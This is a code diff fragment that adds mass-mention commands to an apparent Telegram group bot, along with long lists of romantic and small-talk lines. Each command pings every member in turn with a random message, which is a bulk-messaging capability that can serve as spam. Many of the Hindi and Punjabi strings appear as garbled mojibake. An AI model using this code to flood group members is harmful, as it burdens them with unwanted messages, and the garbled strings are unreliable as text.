+ " **à€
à€à€° à€¯à€¹à€Ÿà€ à€à¥à€ à€šà€¹à¥à€ à€¹à¥à€€à€Ÿ à€€à¥ à€«à¥à€² à€à¥ à€à€à€¹ à€€à¥à€® à€¹à¥à€€à¥ðð** ",
+ " **à€à€Ÿà€š à€à€¬ à€ªà¥à€¯à€Ÿà€°à¥ à€¥à¥ à€®à€°à€šà¥ à€à€Ÿ à€¶à¥à€ à€¥à€Ÿð¥µð¥µ** ",
+ " **à€
à€¬ à€®à€°à€šà¥ à€à€Ÿ à€¶à¥à€ à€¹à¥ à€€à¥ à€à€Ÿà€€à€¿à€² à€šà€¹à¥à€ à€®à€¿à€² à€°à€¹à€Ÿð€«ð€«** ",
+ " **à€žà€¿à€°à¥à€« à€¯à€Ÿà€Š à€¬à€šà€à€° à€š à€°à€¹ à€à€Ÿà€¯à¥ à€ªà¥à€¯à€Ÿà€° à€®à¥à€°à€Ÿð¥²ð¥²** ",
+ " **à€à€à¥ à€à€à¥ à€à¥à€ à€µà¥à¥à€€ à€à¥ à€²à€¿à€ à€à€¯à€Ÿ à€à€°à¥ðð** ",
+ " **à€®à¥à€ à€à¥ à€žà€®à€à€Ÿà€¯à€Ÿ à€šà€Ÿ à€à€°à¥ à€
à€¬ à€€à¥ à€¹à¥ à€à¥à€à¥ à€¹à¥à€ à€®à¥à€ à€®à¥à€ðð** ",
+ " **à€®à¥à€¹à€¬à¥à€¬à€€ à€®à€¶à€µà€°à€Ÿ à€¹à¥à€€à¥ à€€à¥ à€€à¥à€® à€žà¥ à€ªà¥à€ à€²à¥à€€à€Ÿðð** ",
+ " **à€à€šà¥à€¹à¥à€ à€šà¥ à€à€¹à€Ÿ à€¬à€¹à¥à€€ à€¬à¥à€²à€€à¥ à€¹à¥ à€
à€¬ à€à¥à€¯à€Ÿ à€¬à€°à€ž à€à€Ÿà€à€à¥ðð** ",
+ " **à€¹à€®à€šà¥ à€à€¹à€Ÿ à€à€¿à€ž à€Šà€¿à€š à€à¥à€ª à€¹à¥ à€à€¯à€Ÿ à€€à¥à€® à€€à€°à€ž à€à€Ÿà€ à€à€ð¶ð¶** ",
+ " **à€à¥à€ à€à€žà¥ à€¹à€žà¥à€Šà¥ à¥à€¿à€šà¥à€Šà€à¥ à€®à¥à€ à€¹à¥à€€à¥ à€¹à¥ð€ð€** ",
+ " **à€à¥ à€à€à€žà€Ÿà€š à€€à¥ à€¬à€ à€à€Ÿà€€à€Ÿ à€¹à¥ à€®à€à€° à¥à€¿à€à€Šà€Ÿ à€šà€¹à¥à€ à€°à€¹à€€à€Ÿðð** ",
+]
+
+@client.on(events.NewMessage(pattern="^/stag ?(.*)"))
+async def mention_all(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "__This command can be used in groups and channels!__"
+ )
+
+ is_admin = False
+ try:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
+ is_admin = False
+ else:
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ ):
+ is_admin = True
+ if not is_admin:
+ return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
+
+ if event.pattern_match.group(1):
+ return await event.respond("/stag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
+ else:
+ mode = "text_on_cmd"
+ msg = event.pattern_match.group(1)
+ if msg is None:
+ return await event.respond(
+ "/stag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
+ )
+
+ spam_chats.append(chat_id)
+ async for usr in client.iter_participants(chat_id):
+ if not chat_id in spam_chats:
+ break
+ user_id = usr.id
+ mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(SRAID)}"
+ await client.send_message(chat_id, mention_text)
+ time.sleep(5)
+
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+
+ROMANTIC = [
+ "You are the sunshine that brightens up my life.",
+ "Every moment with you is like a beautiful dream.",
+ "I am forever grateful for the happiness you bring into my life.",
+ "Your smile is the most beautiful thing I've ever seen.",
+ "My heart belongs to you, now and forever.",
+ "In your arms is where I belong.",
+ "You are the missing piece in my life's puzzle.",
+ "I love you more than words can express.",
+ "You complete me in every way.",
+ "You are the love of my life.",
+ "Every day with you feels like Valentine's Day.",
+ "You make my heart skip a beat.",
+ "Your love is a treasure I cherish every day.",
+ "I am the luckiest person in the world to have you.",
+ "Being with you is like a fairy tale come true.",
+ "My love for you grows stronger with each passing day.",
+ "You are the reason behind my smile.",
+ "I can't imagine my life without you in it.",
+ "You are the most beautiful person I know, inside and out.",
+ "You are the one I want to spend the rest of my life with.",
+ "Your love is like a gentle breeze on a hot summer day.",
+ "You are the light of my life.",
+ "I fall in love with you more and more every day.",
+ "You are the best thing that ever happened to me.",
+ "I love you to the moon and back.",
+ "Your love is my greatest blessing.",
+ "You are the music to my heart's melody.",
+ "With you, every moment is special.",
+ "You are the star that guides me through life's journey.",
+ "I am so grateful to have you in my life.",
+ "You make my world a better place.",
+ "You are the love story I've always dreamed of.",
+ "You are my forever love.",
+ "I love you with all my heart and soul.",
+ "You are my happily ever after.",
+ "You are the one who holds the key to my heart.",
+ "You are the reason I believe in love.",
+ "You are the sweetest thing in my life.",
+ "I want to grow old with you.",
+ "You are the most amazing person I know.",
+ "You are my heart's desire.",
+ "My love for you knows no bounds.",
+ "You are my one and only.",
+ "You are the fire in my heart.",
+ "I love you more than all the stars in the sky.",
+ "You are the love that fills my soul.",
+ "You are the best part of my life.",
+ "I love you with all my heart, mind, and soul.",
+ "You are the love of my life, today and always.",
+ "You are the reason I wake up with a smile every day.",
+ "You are my everything.",
+ "You are the light of my life's path.",
+ "I love you unconditionally.",
+ "You are the answer to all my prayers.",
+ "You are the most beautiful person I know.",
+ "You are the love that completes me.",
+ "You are my heart's true desire.",
+ "You are the love of my past, present, and future.",
+ "I am forever thankful for your love.",
+ "You are the melody of my heart.",
+ "You are my greatest love story.",
+ "You are the reason I believe in forever.",
+ "I love you more than words can express.",
+ "You are the love of my life, and I cherish every moment with you.",
+ "You are the one I want to grow old with.",
+ "You are the most precious gift in my life.",
+ "You are the love that makes my heart sing.",
+ "I love you more and more each day.",
+ "You are my one and only true love.",
+ "You are the warmth in my heart on a cold night.",
+ "You are the love that makes my life complete.",
+ "You are my forever love, and I am yours.",
+ "You are the love of my dreams.",
+ "You are my heart's greatest joy.",
+ "You are the love that lights up my world.",
+ "You are the love that fills my heart with happiness.",
+ "I love you with all my heart, and I always will.",
+ "You are the love that makes my life beautiful.",
+ "You are the love that makes every day special.",
+ "You are the love that makes my heart beat faster.",
+ "You are the love that I will cherish forever.",
+ "You are the love that gives my life meaning.",
+ "You are the love that makes my life complete.",
+ "You are the love that I will love for all eternity.",
+ "You are the love that I have been searching for.",
+ "You are the love that makes my world a better place.",
+ "You are the love that makes me smile every day.",
+ "You are the love that I will never let go of.",
+ "You are the love that I want to spend my life with.",
+ "You are the love that makes my heart sing with joy.",
+ "You are the love that I am grateful for every day.",
+ "You are the love that I will cherish forever.",
+ "You are the love that completes me.",
+]
+
+@client.on(events.NewMessage(pattern="^/rtag ?(.*)"))
+async def mention_all(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "__This command can be used in groups and channels!__"
+ )
+
+ is_admin = False
+ try:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
+ is_admin = False
+ else:
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ ):
+ is_admin = True
+ if not is_admin:
+ return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
+
+ if event.pattern_match.group(1):
+ return await event.respond("/rtag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
+ else:
+ mode = "text_on_cmd"
+ msg = event.pattern_match.group(1)
+ if msg is None:
+ return await event.respond(
+ "/rtag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
+ )
+
+ spam_chats.append(chat_id)
+ async for usr in client.iter_participants(chat_id):
+ if not chat_id in spam_chats:
+ break
+ user_id = usr.id
+ mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(ROMANTIC)}"
+ await client.send_message(chat_id, mention_text)
+ time.sleep(5)
+
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+CONVEY = [
+ "How's it going?",
+ "What have you been up to lately?",
+ "Do you come here often?",
+ "I'm sorry, I didn't catch that. Could you please repeat it?",
+ "How was your day?",
+ "Can you believe this weather?",
+ "Have you heard the latest news?",
+ "What's your favorite type of music?",
+ "Do you have any plans for the weekend?",
+ "What do you do for a living?",
+ "I'm a bit tired today. How about you?",
+ "What's your favorite movie of all time?",
+ "Do you enjoy cooking?",
+ "Where are you originally from?",
+ "What's your favorite book?",
+ "Do you have any siblings?",
+ "Have you traveled anywhere interesting recently?",
+ "What's your favorite place to eat in town?",
+ "How do you like to spend your free time?",
+ "Do you have any pets?",
+ "Have you ever been to [insert a place]?",
+ "What's the most adventurous thing you've done?",
+ "Do you like going to concerts?",
+ "How do you stay motivated?",
+ "What's your dream vacation destination?",
+ "Have you tried any new hobbies recently?",
+ "Do you prefer coffee or tea?",
+ "What's your favorite season?",
+ "What's your favorite sport?",
+ "What's your go-to karaoke song?",
+ "Are you a morning person or a night owl?",
+ "Do you like to dance?",
+ "What's your favorite holiday?",
+ "Do you enjoy hiking?",
+ "What's the last movie you watched?",
+ "Do you like video games?",
+ "What's your favorite board game?",
+ "Are you a cat person or a dog person?",
+ "Do you believe in aliens?",
+ "What's your favorite childhood memory?",
+ "What's the best advice you've ever received?",
+ "Do you like spicy food?",
+ "What's your favorite dessert?",
+ "Do you enjoy gardening?",
+ "What's the most beautiful place you've been to?",
+ "Do you have a favorite quote?",
+ "What's your biggest accomplishment?",
+ "Do you have a hidden talent?",
+ "What's the most interesting book you've read recently?",
+ "Are you into fitness?",
+ "What's your favorite workout?",
+ "What's your favorite type of art?",
+ "What's your dream job?",
+ "Do you like attending live events?",
+ "What's your favorite way to relax?",
+ "Do you have any phobias?",
+ "What's your favorite type of cuisine?",
+ "What's your favorite app on your phone?",
+ "Do you like to take photos?",
+ "What's your favorite social media platform?",
+ "Do you like to cook or order takeout?",
+ "What's your favorite childhood TV show?",
+ "Do you enjoy stargazing?",
+ "What's your favorite planet?",
+ "What's your favorite quote from a movie?",
+]
+
+
+@client.on(events.NewMessage(pattern="^/ctag ?(.*)"))
+async def mention_all(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "__This command can be used in groups and channels!__"
+ )
+
+ is_admin = False
+ try:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
+ is_admin = False
+ else:
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ ):
+ is_admin = True
+ if not is_admin:
+ return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
+
+ if event.pattern_match.group(1):
+ return await event.respond("/ctag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
+ else:
+ mode = "text_on_cmd"
+ msg = event.pattern_match.group(1)
+ if msg is None:
+ return await event.respond(
+ "/ctag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
+ )
+
+ spam_chats.append(chat_id)
+ async for usr in client.iter_participants(chat_id):
+ if not chat_id in spam_chats:
+ break
+ user_id = usr.id
+ mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(CONVEY)}"
+ await client.send_message(chat_id, mention_text)
+ time.sleep(5)
+
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+
+PUNJABI = [
+ "àš€à©à©° àš®à©àš°à© àšàšàšŸàš àšŠà© àšà©°àš¬àš², àš®à©àš àš€à©àš°àšŸ àšŠàš¿àš² àšŠàšŸ àšà©àš€àšŸ àšà©±àš àšà©àššàšŸà¥€",
+ "àš€à©àš°à© àš¬àš¿àššàšŸ àšà©àš£àšŸ àšžàšµàšŸàš°àšŸ, àš°à©°àšà© àšŠà©àššà©àš àšµàš¿àš àš¬àšžàšŸàš°àšŸà¥€",
+ "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠà© àš§à©àšàšš, àš€à©à©° àš®à©àš°àšŸ àšà©±àš¶àš àšŠàšŸ àšàšµàšŸàš¬à¥€",
+ "àš€à©àš°à© àš¬àš¿àššàšŸ àšà©àš àšµà© àššàšŸàš¹à©, àš®à©àš°àšŸ àšŠàš¿àš² àšà©±àš àšžà©à©°àšŠàš° àš¬àš¿àš®àšŸàš° àš¹à©à¥€",
+ "àš€à©àš°à© àš¹à©±àšžà© àš®à©àš°à© àšŠàš¿àš² àšŠà© àšàš¿à©°àšŠàšà©, àš€à©à©° àš®à©àš°à© àšà©àšžàšŒàš¿àšàš àšŠàšŸ àšàšŸàš°àš£ àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšàšàšŸàš àšŠà© àš°à©àšž, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àš°à©àšàšŠàšŸ àššàš¹à©àšà¥€",
+ "àš€à©à©° àš®à©àš°àšŸ àšªàš¿àšàš° àš¹à©, àš€à©à©° àš®à©àš°à© àšàš¶àš¿àšà© àšŠàšŸ àšžàš¿àš°àš°àš« àšà©±àš àš¹àš¿à©±àšžàšŸ àššàš¹à©àšà¥€",
+ "àš®à©àš àš€à©àš°à© àš¹àš° àš¹àšžà©, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠàš¿àš²àšŸ àšŠàš¿à©°àšŠàšŸ àš¹àšŸàšà¥€",
+ "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àš°àšŸàšàšŸ àš¹à©, àš€à©à©° àš®à©àš°à© àšàšµàšŸà© àšŠàšŸ àš°àšŸàš àš¹à©à¥€",
+ "àš®à©àš°à© àš²àš àš€à©à©° àšžàš àšà©àš àš¹à©, àš€à©àš¹àšŸàššà©à©° àšà©àš£ àššà©à©° àšŠàš¿àš² àšàšŸàš¹à©à©°àšŠàšŸ àš¹àšŸàšà¥€",
+ "àš€à©à©° àš®à©àš°à© àšŠà©àššà©àš àšŠàšŸ àš
ੱàšàš°à© àš²àš«àšàšŒ àš¹à©, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšŠà©àššà©àš àš
àš§à©àš°à© àš¹à©à¥€",
+ "àš®à©àš àš€à©àš°à© àš¬àš¿àššàšŸ àššàš¹à©àš àšà© àšžàšàšŠàšŸ, àš€à©à©° àš®à©àš°à© àšàš€àš®àšŸ àšŠàšŸ àš¹àš¿à©±àšžàšŸ àš¹à©à¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšžàš¥àšŸàšªàš€ àšàš°àšŸàšàšàšŸ, àš€à©àš°à© àšà©àšžàšŒàš¬à© àššà©à©° àšàšªàš£à© àšà©àš£ àšŠà© àšªà©àš°à© àšàšŒàš¿à©°àšŠàšà© àš¬àš£àšŸ àšŠà©àšµàšŸàšàšàšŸà¥€",
+ "àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšŠà©àššà©àš àšžà©à©°àšŠàš° àššàš¹à©àš àš²àšàšŠà©à¥€",
+ "àš€à©àš°à© àšªàš¿àšàš° àšµàš¿àš àš®à©àš àšà©àš² àšà© àš¹àšŸàš, àš€à©àš¹àšŸàššà©à©° àš
àšªàš£àšŸ àšŠàš¿àš² àšŠàš¿à©°àšŠàšŸ àš¹àšŸàšà¥€",
+ "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àš°à©°àš àš¹à©, àš€à©à©° àš®à©àš°à© àšà©àšžàšŒàš¿àšàš àšŠàšŸ àšà©àš€ àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšàšàšŸàš àšŠà© àšªà©àš°àš¿àš¯àš€àš®àšŸ, àš®à©àš°à© àšà©°àš àšŠà© àš
ੱàšà© àšŠà© àšžà©à©°àšŠàš°à© àšàšµà©à¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšàš°àšŠàšŸ àš°àš¹à©àšàšŸà¥€",
+ "àš€à©à©° àš®à©àš°à© àšàšžàš®àšŸàšš àšŠà© àš€àšŸàš°àšŸ, àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšàšŸàšàšŠ àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšà©àšžàšŒàš¬à© àš¹à©, àš®à©àš àš€à©àš°à© àš¬àš¿àššàšŸ àššàš¹à©àš àšà© àšžàšàšŠàšŸà¥€",
+ "àš€à©àš°à© àššàšŸàš² àš¹à©àš£ àšŠà© àšàš¿àš°àšªàšŸ àšàš°à©, àš€à© àš®à©àš°à© àšàšàšŸàš àšŠà© àš°à©àšž àššàšŸàš² àš®àš¿àš²à©à¥€",
+ "àš€à©àš°à© àš¬àš¿àššàšŸ, àš®à©àš°à© àšŠàš¿àš² àšµàš¿àš àšàšŸàš®à©àšžà© àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àšàšàšŸàš²àšŸ, àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšàšŸàšàšŠ àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àš¬àš¿àššàšŸ, àš®à©àš°à© àšŠàš¿àš² àššà©à©° àšžà©àšà©àš£ àššàš¹à©àš àš®àš¿àš²àšŠàšŸà¥€",
+ "àš€à©à©° àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àš
ੱàšàš°à© àš¹à©±àšžà© àš¹à©, àš€à©à©° àš®à©àš°à© àšŠà©àššà©àš àšŠàšŸ àš
ੱàšàš°à© àšà©±àš àš
ੱàšàš°à© àš
ੱàšàš°à© àš¹à©±àšžà© àš¹à©à¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àš°à© àššàšŸàš² àšà©àšµàšš àšŠàšŸ àš¹àš° àšªà©±àš² àšàššà©°àšŠàš®àš¯à© àš¹à©àšµà©àšàšŸà¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àšžà©àš àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠà© àšžàš àšà©àš àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠà© àšžàš àšà©àš àš¹à©, àš€à©à©° àš®à©àš°àšŸ àšžà©±àšàšŸ àšªàš¿àšàš° àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠà© àšàš®àš, àš€à©àš°à© àš¹à©±àšžà© àšŠà© àšžàšµàšŸàš°à© àš¹à©à¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àš°à© àš¬àš¿àššàšŸ àšà©àšµàšš àššàšŸàš®à©àššàšŸ àš¹à©àšµà©àšàšŸà¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àšŠà©àššà©àš àšŠà© àš°à©°àš àšŠàš¿à©°àšŠàšŸ àš¹àšŸàšà¥€",
+ "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšàšŸàšàšŠ, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àšš àšžà©àššàšžàšŸàšš àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšžà©à©°àšŠàš° àšà©°àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àš
àš§à©àš°à© àš¹à©à¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àš
à©°àš àš¬àš£àšŸàšàšàšŸà¥€",
+ "àš€à©à©° àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àš°à©°àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšŠà©àššà©àš àš¬à©àš°à©°àš àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšžà©àš¹àš£àšŸ àšªà©±àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àšžà©à©°àšŠàš° àššàš¹à©àš àš²àšàšŠàšŸà¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àšžàš¿àšªàšŸàš¹à© àš¬àš£àšŸàšàšàšŸà¥€",
+ "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšžà©à©°àšŠàš° àš°à©°àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àš¬àš¿àššàšŸ àš°à©°àš àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš°, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšàš¿à©°àšŠàšà© àš¬à©àš®àšŸàšš àš¹à©à¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠàšŸ àš¹à©±àšžà© àšŠà© àš®àš¿àšžàšŸàš² àš¬àš£àšŸàšàšàšŸà¥€",
+ "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšžàš¬ àšà©àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšà©àšµàšš àš
àš§à©àš°àšŸ àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àš°àšŸàšàšŸ, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àšžà©à©°àšŠàš° àššàš¹à©àš àš²àšàšŠàšŸà¥€",
+ "àš€à©à©° àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àšàšžàš®àšŸàšš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšŠà©àššà©àš àš¬à©àšžàš¿àš®àšŸàš° àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšà©àš¶àš¿àšàš àšŠàšŸ àšàšŸàš°àš£, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšà©àšµàšš àšµàš¿àš àšà©àš¶àš¬à© àš¹à©à¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àš®àš¿àšžàšŸàš² àš¬àš£àšŸàšàšàšŸà¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àšžà©àš àš®à©àš°à© àšŠàš¿àš² àšŠà© àšàšµàšŸà© àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àš°à©°àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšŠà©àššà©àš àš
àš§à©àš°à© àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš°, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àšžàš¬ àšà©àš àšà©àš àš¹à©à¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àšžà©àš àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àšàšàšŸàš²àšŸ àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àšžà©à©°àšŠàš° àšà©°àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àšžà©à©°àšŠàš° àššàš¹à©àš àš²àšàšŠàšŸà¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšàš¿à©°àšŠàšà© àš¬àš¿àššàšŸ àš°à©°àš àš¹à©à¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àšžà©àš àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àšàšŸàšàšŠ àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àš°à©°àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àšà©àš¹à© àšŠàšŸ àš®à©àš€à© àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš°, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àš¬àš¿àššàšŸ àšà©°àšà© àšžà©à©°àšŠàš° àš¹à©à¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àšžà©àš àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠà© àšžàš¬ àšà©àš àš¹à©à¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àš°à©°àš àšŠà© àš°à©°àšà© àš¬àš£àšŸàšàšàšŸà¥€",
+ "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšàšŸàšàšŠ, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àšžà©à©°àšŠàš° àš°à©°àš àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš°, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àšžà©à©°àšŠàš° àš°à©°àš àš¹à©à¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àšžà©àš àš®à©àš°à© àšžàšàšŸ àšªàš¿àšàš° àšŠà© àš®àš¿àšžàšŸàš² àš¹à©à¥€",
